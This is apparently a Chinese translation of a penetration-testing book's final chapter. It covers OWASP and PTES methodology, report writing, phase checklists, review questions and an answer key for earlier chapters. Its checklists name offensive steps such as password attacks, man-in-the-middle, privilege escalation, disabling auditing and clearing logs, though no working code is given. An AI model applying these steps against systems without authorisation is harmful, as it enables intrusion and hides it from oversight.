在对系统或网络进行渗透测试时,使用一组经批准或推荐的准则来确保实现期望的结果。渗透测试方法通常包括以下阶段:

  1. 信息收集

  2. 扫描和侦察

  3. 指纹识别和枚举

  4. 漏洞评估

  5. 利用研究和验证

  6. 报告

遵循这样的清单可以确保渗透测试人员在进入下一阶段之前完成该阶段的所有任务。在这本书中,我们从信息收集阶段开始,逐渐从那里开始。早期章节涵盖了早期阶段,并教会了您如何获取有关目标的敏感细节,而后期章节涵盖了使用找到的信息以各种方法访问目标。

在下一节中,我们将了解开放式 Web 应用安全项目(OWASP)十大

OWASP

OWASP 是一个专注于使人们和社区能够开发、测试和维护所有人都可以信任的应用程序的非营利基金会。

OWASP 已创建了OWASP 十大网络漏洞列表,已成为 Web 应用程序测试的标准:

  • A1:2017-注入

  • A2:2017-破损身份验证

  • A3:2017-敏感数据暴露

  • A4:2017-XML 外部实体(XXE)

  • A5:2017-破损访问控制

  • A6:2017-安全配置错误

  • A7:2017-跨站脚本(XSS)

  • A8:2017-不安全的反序列化

  • A9:2017-使用已知漏洞的组件

  • A10:2017-日志记录和监控不足

每个类别都提供了所有漏洞、发现方法和技术、对策以及减少风险的最佳实践的详细分析。

有关OWASP 十大项目的更多信息,请访问www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project。此外,OWASP 测试指南可在www.owasp.org/index.php/OWASP_Testing_Project找到。

此外,始终保持练习,以提高您在理解 OWASP 十大漏洞方面的技能。OWASP破损 Web 应用(BWA)项目将协助您在这一过程中。

在下一节中,我们将了解渗透测试执行标准(PTES)的各个阶段。

渗透测试执行标准

PTES 包括涵盖渗透测试各个方面的几个阶段:

  1. 预先交互

  2. 情报收集

  3. 威胁建模

  4. 漏洞分析

  5. 利用

  6. 后利用

  7. 报告

有关 PTES 的更多信息,请访问www.penteststandard.org/index.php/Main_Page

渗透测试标准或框架的选择取决于客户请求的测试类型、目标行业(例如,健康行业的 HIPAA)甚至您组织的渗透测试方法论。

在下一节中,我们将讨论报告阶段的重要性。

报告

渗透测试的最后阶段是报告和交付结果。在这个阶段,渗透测试人员创建了一份官方文件,概述了以下内容:

  • 目标上发现的所有漏洞

  • 基于通用漏洞评分系统(CVSS)计算器,按高、中、低等级别对所有风险进行分类

  • 发现的漏洞的建议修复方法

确保在撰写报告时,任何人都能理解,包括高级管理人员和执行人员等非技术受众。管理人员并不总是技术人员,因为他们更专注于确保组织内实现业务目标和目标。

报告还应包括以下内容:

  • 封面

  • 执行摘要

  • 漏洞摘要

  • 测试细节

  • 测试期间使用的工具(可选)

  • 原始工作范围

  • 报告正文

  • 摘要

有关撰写渗透测试报告的更多信息,请访问resources.infosecinstitute.com/writing-penetration-testing-reports/

永远记住,如果你问 10 个不同的渗透测试人员如何撰写报告,他们都会根据自己的经验和雇主给出不同的答案。确保不要插入太多图片或太多技术术语来混淆读者。对于任何非技术背景的人来说,它应该是简单易懂的。

在接下来的章节中,我们将概述创建渗透测试清单的基本原则。

渗透测试清单

我建议渗透测试机器的以下硬件要求:

  • 四核处理器

  • 8 GB RAM(最低)

  • 无线网络适配器

  • 以太网网络接口卡

接下来,我们将熟悉创建信息收集清单。

信息收集

以下是在信息收集阶段之前和期间要执行的任务:

  1. 获得法律许可。

  2. 定义渗透测试的范围。

  3. 使用搜索引擎进行信息收集。

  4. 执行 Google 黑客技术。

  5. 使用社交网络网站进行信息收集。

  6. 执行网站足迹。

  7. 执行WHOIS信息收集。

  8. 执行 DNS 信息收集。

  9. 执行网络信息收集。

  10. 执行社会工程。

在下一节中,我们将看一下网络扫描的清单。

网络扫描

以下是执行网络扫描的指南列表:

  1. 在网络上执行主机发现。

  2. 执行端口扫描以确定服务。

  3. 执行目标操作系统和端口的横幅抓取。

  4. 执行漏洞扫描。

  5. 创建目标网络的网络拓扑。

接下来,我们将了解枚举清单的基本要求。

枚举

以下是在目标系统上执行枚举的指南列表:

  1. 确定网络范围并计算子网掩码。

  2. 执行主机发现。

  3. 执行端口扫描。

  4. 执行 SMB 和 NetBIOS 枚举技术。

  5. 执行 LDAP 枚举。

  6. 执行 DNS 枚举。

在下一节中,我们将看一下利用清单。

获取访问

以下是获取访问网络/系统的指南列表:

  1. 执行社会工程。

  2. 进行肩部冲浪。

  3. 执行各种密码攻击。

  4. 执行网络嗅探。

  5. 执行中间人(MITM)攻击。

  6. 使用各种技术来利用目标系统并获得 shell(即通过命令行获取访问)。

  7. 发现使用横向移动的其他设备。

  8. 尝试提升对受损系统的权限。

在下一节中,我们将概述覆盖轨迹清单的基本原则。

覆盖轨迹

以下是覆盖轨迹的指南列表:

  1. 禁用系统上的审计功能。

  2. 清除日志文件。

通过完成本节,您现在具备创建适合您需求的完整渗透测试清单所需的技能。

总结

通过完成本章,您现在对渗透测试领域的最佳实践有了基础水平的理解。本章后面列出的指南将帮助您确定在渗透测试期间要采取的步骤。记住:你正在学习-发展自己的策略和技术将自然而然地出现。确保您在职业生涯中的进步中记录您的技术和技能。

我希望本章和本书对您的学习有所帮助,并将使您在网络安全领域的道路上受益。谢谢您的支持!

问题

  1. 在进行渗透测试之前,需要什么来确保渗透测试人员受到保护?

  2. 用于概述工作的文档类型是什么?

  3. 你如何确定漏洞的风险评级?

  4. 渗透测试的最后阶段是什么?

进一步阅读

第十七章:评估

入门黑客

  1. 脚本小子

  2. 掩盖踪迹

  3. OWASP

  4. 黑盒测试

  5. 国家赞助

设置 Kali-部分

  1. 2 型虚拟化程序

  2. 所需的物理空间更少,功耗更低,成本更低

  3. VMware ESXi,Oracle VirtualBox 和 Microsoft Virtual PC

  4. 使用dpkg -i <应用程序文件>命令

  5. 客座操作系统

熟悉 Kali Linux 2019

  1. BackTrack

  2. apt-get update

  3. apt-get upgrade

  4. apt-get install <应用程序名称>

  5. 定位<文件>

被动信息收集

  1. 收集有关目标的信息,例如网络和系统详细信息以及组织信息(例如公司目录和员工详细信息)

  2. Maltego,Dig,NSlookup,Recon-ng,theHarvester 和 Shodan

  3. 通过使用site: <关键词>语法

  4. 利用漏洞数据库

  5. whois

  6. 通过使用 Sublist3r 工具

主动信息收集

  1. 将主机名解析为 IP 地址。

  2. DNS 区传输允许将区文件从主 DNS 服务器复制到另一个服务器,例如辅助 DNS 服务器。

  3. Nmap。

  4. 数据包分片。

  5. JXplorer。

使用漏洞扫描器

  1. server nessusd start

  2. 支付卡行业数据安全标准PCI DSS

  3. 执行和自定义

  4. Nikto,Burp Suite 和 WPScan

  5. WPScan

了解网络渗透测试

  1. macchanger

  2. 特设,管理,主控,中继,辅助和监视器

  3. ifconfig

  4. airmon-ng check kill

网络渗透测试-连接前攻击

  1. airmon-ng

  2. ESSID

  3. 代码 2-先前的身份验证不再有效,代码 3-解除身份 leaving

  4. aireplay-ng

网络渗透测试-获取访问权限

  1. 高级加密标准AES

  2. Citrix-enum-apps

  3. 3389

  4. Ncrack,Hydra,John the Ripper 和 Hashcat

  5. 认证服务器(访问控制服务器)

  6. search命令

  7. IEEE 802.1x

网络渗透测试-连接后攻击

  1. Yersinia

  2. getsystem

  3. 将 IP 地址解析为 MAC 地址

  4. 安全外壳SSH

  5. 通过使用whoami命令

网络渗透测试-检测和安全

  1. 通过使用数据加密和安全协议。

  2. ARP 欺骗。

  3. DAI。

  4. Telnet 以纯文本形式发送其数据包,不支持加密。

  5. 在 Nmap 中使用 sniffer-detect 脚本。

客户端攻击-社会工程

  1. 窃听

  2. 网络钓鱼

  3. Smishing

  4. SET 和 Ghost Phisher

执行网站渗透测试

  1. Apache,IIS,Nginx

  2. Dirb,DirBuster

  3. HTTP 200 状态代码

  4. 跨站脚本XSS

  5. 结构化查询语言SQL)注入

网站渗透测试-获取访问权限

  1. FROM

  2. 通过使用分号(;

  3. 通过使用INSERT命令

  4. BeEF

最佳实践

  1. 来自目标组织的书面法律许可

  2. 与 RoE 签订合同

  3. 通过使用 CVSS 计算器

  4. 掩盖踪迹和报告

posted @ 2024-05-03 21:40  绝不原创的飞龙  阅读(115)  评论(0编辑  收藏  举报